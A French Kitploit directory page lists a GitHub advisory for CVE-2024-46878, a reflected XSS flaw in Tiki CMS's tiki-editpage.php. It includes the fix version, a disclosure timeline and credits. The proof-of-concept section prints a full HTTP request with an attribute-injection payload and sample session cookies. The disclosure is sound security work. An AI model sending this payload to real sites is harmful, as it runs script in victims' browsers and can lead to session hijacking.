Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/coldfusionx/cve-2024-46878-tikicms-xss
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubcoldfusionx/cve-2024-46878-tikicms-xss

CVE-2024-46878-TikiCMS-XSS

CVE-2024-46878 - Vulnérabilité de cross-site scripting réfléchi (XSS) dans Tiki CMS

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-46878 - Vulnérabilité de Cross-Site Scripting (XSS) Réfléchie dans Tiki CMS

Vulnérabilité de Cross-Site Scripting (XSS) Réfléchie dans le paramètre 'page' de Tiki CMS

Avertissement

Destiné uniquement à des fins éducatives, de recherche et défensives. Toute utilisation non autorisée contre des systèmes sans permission est illégale.

Résumé

Une vulnérabilité de Cross-Site Scripting (XSS) réfléchie existe dans le paramètre page de tiki-editpage.php dans Tiki version 26.3 et antérieures. Cette vulnérabilité permet aux attaquants d'exécuter du code JavaScript arbitraire via une charge utile malveillante, conduisant à un accès potentiel à des informations sensibles ou à des actions non autorisées.

Produit(s) concerné(s)

  • Produit : Tiki CMS Groupware
  • Versions : 26.3 et antérieures
  • Composant : tiki-editpage.php

Détails de la vulnérabilité

La vulnérabilité est causée par une désinfection incorrecte des entrées du paramètre page dans tiki-editpage.php. L'entrée fournie par l'utilisateur est reflétée dans la réponse HTTP sans encodage suffisant, permettant l'exécution de JavaScript injecté.

Impact

Permet à un attaquant authentifié d'exécuter du JavaScript arbitraire dans le navigateur d'un autre utilisateur via une requête malveillante, pouvant conduire à un détournement de session ou à des actions non autorisées.

Preuve de concept (PoC)

Requête

root@kitploit:~
GET /tiki-editpage.php?page=%22%20onmouseover%3Dalert(document.domain)%20 HTTP/1.1
Host: 127.0.0.1:9089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: local_tz=Asia%2FKolkata; PHPSESSIDCV=51zQV%2BMxUnJxFY9nnRP%2FFg%3D%3D; javascript_enabled=y; PHPSESSID_CSRF=t2A6i9BjH1QHEH8KaLag0jtgT4dK9TTzyn8sOcRVwg9SMycfxWjoeYFmTykOfVjNPotrBKqsizXJ%2BrYcEXci8QPZxiSyBwA5YFLRS1S2RgxeTAI%3D; PHPSESSID=e19c8b25df427a7892245dc919be2067
Upgrade-Insecure-Requests: 1
Priority: u=0, i

poc

Correction

Le problème a été résolu dans Tiki CMS Groupware version 27.1. Il est conseillé aux utilisateurs de mettre à jour vers cette version ou une version patchée ultérieure.

Référence du fournisseur : https://tiki.org/article514-New-Security-Updates-Released-for-Tiki-27-x-LTS-26-x-and-24-x-LTS-and-Upgrade-is-Strongly-Recommended

Chronologie

  • Signalé au fournisseur : 5 septembre 2024
  • Accusé de réception du fournisseur : 16 septembre 2024
  • Corrigé dans la version 27.1 : 22 décembre 2024
  • Divulgation publique (via ce dépôt) : 23 mars 2026

Crédits

  • Sheela Sarva, Qualys
  • Mayank Deshmukh, Qualys

Référence

  • https://www.cve.org/CVERecord?id=CVE-2024-46878
  • https://tiki.org/article514-New-Security-Updates-Released-for-Tiki-27-x-LTS-26-x-and-24-x-LTS-and-Upgrade-is-Strongly-Recommended
Télécharger l’outil